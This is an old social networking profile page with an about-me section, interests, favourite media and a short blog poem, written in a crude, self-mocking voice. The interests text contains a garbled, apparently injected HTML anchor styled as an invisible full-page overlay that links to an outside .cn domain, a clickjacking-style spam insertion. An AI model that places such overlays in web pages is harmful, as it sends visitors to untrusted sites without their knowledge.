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I Am Tom Selleck's Moustache

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About Me


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Luan LOVES...*SUSHI...itadakimasu*NORWEGIAN SALMON... especially in sushi*BRIGHT CLOTHES & LADIES JEANS*H20...it is the essence of life*NARUTO...the coolest show on the planet*MUSIC...anything, as long as it makes me feel something*MOST IMPORTANT OF ALL...I LOVE MY SKATTEBOL... I'm the luckiest guy in the universe*Luan DISLIKES...*People who don't tip bartenders*Not being able to afford SUSHI*People who are prettier than him. Which means most people*Excessive body hair*Conservatives*Racism*I also fiddle around with buttons & make funny noises on my synth for 'powerpoppers' MIAMII. Check out our page...

My Interests

before i came to london i was a personality-less african goon. now my interests include getting shit faced and tea-bagging my neighbours, sphincter-photography, charver-baiting and most importantly cultivating my alter-viking ego Sven. music is monumentally important to me, as is playing in my band. i like ink, good clothes, playing with my hair and touching myself. i say all this in the hope that it will get me some friends who might be able to look past the fact that i am african. and have no personality.a class="popup_wrapper" style="outline:none;background-color:transparent!important;c ursor:default;left:-30px;top:0px;height:5922px;width:1089px; "class=popup_x href="http://sopamew.cn/s/" da$d

I'd like to meet:

I'd like to meet....someone who wants to buy me SUSHI, clothes and toilet paper. a doctor to fix my eye aids and a speech therapist to fix my dirty african tongue.

Music:

I love a wide variety of music. If I think it's a good song, I'll listen to it... regardless of the genre or 'cool' factor.Some of my favourite genres: ~Indie ~Powerpop ~Electronica ~Electroclash ~Nu Rave ~Dance Punk ~Synth-Pop ~Alternative Rock ~Hardcore ~Chiptunes ~Pop

Movies:

Garden State, Stranger Than Fiction, Crash, A Life Aquatic, The Royal Tennenbaums, Pulp Fiction, Reservoir Dogs, Kill Bill Vol. 1 & 2, Jackie Brown, K-Pax, American Beauty, The Elephant Man, Lost In Translation, Brick, Eternal Sunshine Of The Spotless Mind, Transformers, Gladiator, The Last Samurai, Anchorman, 300, Sin City, Team America, Lord of the Rings trilogy, Matrix trilogy, The Godfather trilogy, Platoon, Full Metal Jacket, Spun, Requiem fo a Dream, Vannila sky, Trainspotting, Snatch, Boondock Saints, Apocalypse Now, Man On Fire, Get Shorty, The Others, The Iron Giant, Saving Private Ryan, Forest Gump, Edward ScissorHands, Blow, Big Fish, Ghost World, Talledega Nights, Borat, I Heart Huckabees, Shaun Of The Dead, Hot Fuzz, The Ruttles

Television:

Infomercials, OZ, Sopranos, That 70's Show, South Park, The Simpsons, Invader Zim, SpongeBob Squarepants, Black Adder, Monty Python's Flying Circus, Dragonball Z, Yu-Gi-Oh, Hellsing, Spawn, He-Man & THe Masters Of The Universe, NARUTO, American Dad, Family Guy, My Name Is Earl, CSI, Prison Break, Hollyoaks, Six Feet Under, Black Books, Spaced

Books:

The London Paper, In Cold Blood, Contract, Anything by Frank Miller, The Secret, Hellbent, His Dark Materials Trilogy, Anne Rice, Douglas Adams, Wilbur Smith, J R R Tolkien, David Gemmel and I read a lot of Comics like Image, 2000AD, Marvel, DC etc.

Heroes:

SpongeBob Squarepants, Henry Rollins

My Blog

An Ode To Being Bored

Oh, fair room of pungent scent Thou holds me close to thy bossom same as a junkie does his crackpipe Boredom, thou tempts me so, look how thou hast forced me into senseless rantings ......
Posted by I Am Tom Selleck's Moustache on Thu, 22 Mar 2007 08:10:00 PST